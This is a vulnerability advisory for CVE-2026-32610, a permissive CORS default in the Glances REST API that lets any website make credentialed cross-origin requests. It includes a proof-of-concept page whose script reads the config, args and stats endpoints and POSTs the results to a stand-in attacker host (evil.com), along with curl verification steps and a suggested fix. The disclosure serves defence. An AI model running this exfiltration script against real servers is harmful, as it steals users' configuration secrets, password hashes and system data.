CVE-2026-32610

CVSS v3.1

8.1

Vector

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

The Glances REST API web server ships with a default CORS configuration that sets

allow origins=["*"]

combined with

allow credentials=True

. When both of these options are enabled together, Starlette's

CORSMiddleware

reflects the requesting

Origin

header value in the

Access-Control-Allow-Origin

response header instead of returning the literal

wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

Details

The CORS configuration is set up in

glances/outputs/glances restful api.py

lines 290-299:

# glances/outputs/glances restful api.py:290-299
# FastAPI Enable CORS
# https://fastapi.tiangolo.com/tutorial/cors/
self. app.add middleware(
  CORSMiddleware,
  # Related to https://github.com/nicolargo/glances/issues/2812
  allow origins=config.get list value('outputs', 'cors origins', default=["*"]),
  allow credentials=config.get bool value('outputs', 'cors credentials', default=True),
  allow methods=config.get list value('outputs', 'cors methods', default=["*"]),
  allow headers=config.get list value('outputs', 'cors headers', default=["*"]),
)

The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:

```
cors origins = ["*"]
```
(all origins)
```
cors credentials = True
```
(allow credentials)

Per the CORS specification, browsers should not send credentials when

Access-Control-Allow-Origin: *

. However, Starlette's

CORSMiddleware

implements a workaround: when

allow origins=["*"]

and

allow credentials=True

, the middleware reflects the requesting origin in the response header instead of using

. This means:

Attacker hosts
```
https://evil.com/steal.html
```
Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page

JavaScript on

evil.com

makes

fetch("http://glances-server:61208/api/4/config", {credentials: "include"})

The browser sends the stored Basic Auth credentials

Starlette responds with

Access-Control-Allow-Origin: https://evil.com

and

Access-Control-Allow-Credentials: true

The browser allows JavaScript to read the response
Attacker exfiltrates the configuration including sensitive data

When Glances is running without

--password

(the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.

PoC

Step 1: Attacker hosts a malicious page.

<!-- steal-glances.html hosted on attacker's server -->
<script>
async function steal() {
 const target = "http://glances-server:61208";
 
 // Steal system stats (processes, CPU, memory, network, disk)
 const all = await fetch(target + "/api/4/all", {credentials: "include"});
 const allData = await all.json();
 
 // Steal configuration (may contain database passwords, API keys)
 const config = await fetch(target + "/api/4/config", {credentials: "include"});
 const configData = await config.json();
 
 // Steal command line args (contains password hash, SNMP creds)
 const args = await fetch(target + "/api/4/args", {credentials: "include"});
 const argsData = await args.json();
 
 // Exfiltrate to attacker
 fetch("https://evil.com/collect", {
  method: "POST",
  body: JSON.stringify({all: allData, config: configData, args: argsData})
 });
}
steal();
</script>

Step 2: Verify CORS headers (without auth, default Glances).

# Start Glances web server (default, no password)
glances -w

# From a different origin, verify the CORS headers
curl -s -D- -o /dev/null 
 -H "Origin: https://evil.com" 
 http://localhost:61208/api/4/all

# Expected response headers include:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

Step 3: Verify data theft (without auth).

curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20
curl -s http://localhost:61208/api/4/config | python -m json.tool
curl -s http://localhost:61208/api/4/args | python -m json.tool

Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.

# Start Glances with password
glances -w --password

# Preflight request with credentials
curl -s -D- -o /dev/null 
 -X OPTIONS 
 -H "Origin: https://evil.com" 
 -H "Access-Control-Request-Method: GET" 
 -H "Access-Control-Request-Headers: Authorization" 
 http://localhost:61208/api/4/all

# Expected: Access-Control-Allow-Origin: https://evil.com
# Expected: Access-Control-Allow-Credentials: true

Impact

Without
--password
(default): Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.
With
--password
: If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via
```
/api/4/args
```
).
Network reconnaissance: An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.
Chained with POST endpoints: The CORS policy also allows
```
POST
```
methods, enabling an attacker to clear event logs (
```
/api/4/events/clear/all
```
) or modify process monitoring (
```
/api/4/processes/extended/{pid}
```
).

Recommended Fix

Change the default CORS credentials setting to

False

, and when credentials are enabled, require explicit origin configuration instead of wildcard:

# glances/outputs/glances restful api.py

# Option 1: Change default to not allow credentials with wildcard origins
cors origins = config.get list value('outputs', 'cors origins', default=["*"])
cors credentials = config.get bool value('outputs', 'cors credentials', default=False) # Changed from True

# Option 2: Reject the insecure combination at startup
if cors origins == ["*"] and cors credentials:
  logger.warning(
    "CORS: allow origins='*' with allow credentials=True is insecure. "
    "Setting allow credentials to False. Configure specific origins to enable credentials."
  )
  cors credentials = False

self. app.add middleware(
  CORSMiddleware,
  allow origins=cors origins,
  allow credentials=cors credentials,
  allow methods=config.get list value('outputs', 'cors methods', default=["GET"]), # Also restrict methods
  allow headers=config.get list value('outputs', 'cors headers', default=["*"]),
)

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-942

Related Identifiers

CVE-2026-32610

GHSA-9JFM-9RC6-2HFQ

Affected Products

Glance

CVE-2026-32610

Summary

Details

PoC

Impact

Recommended Fix

Weakness Enumeration

Related Identifiers

Affected Products

References · 5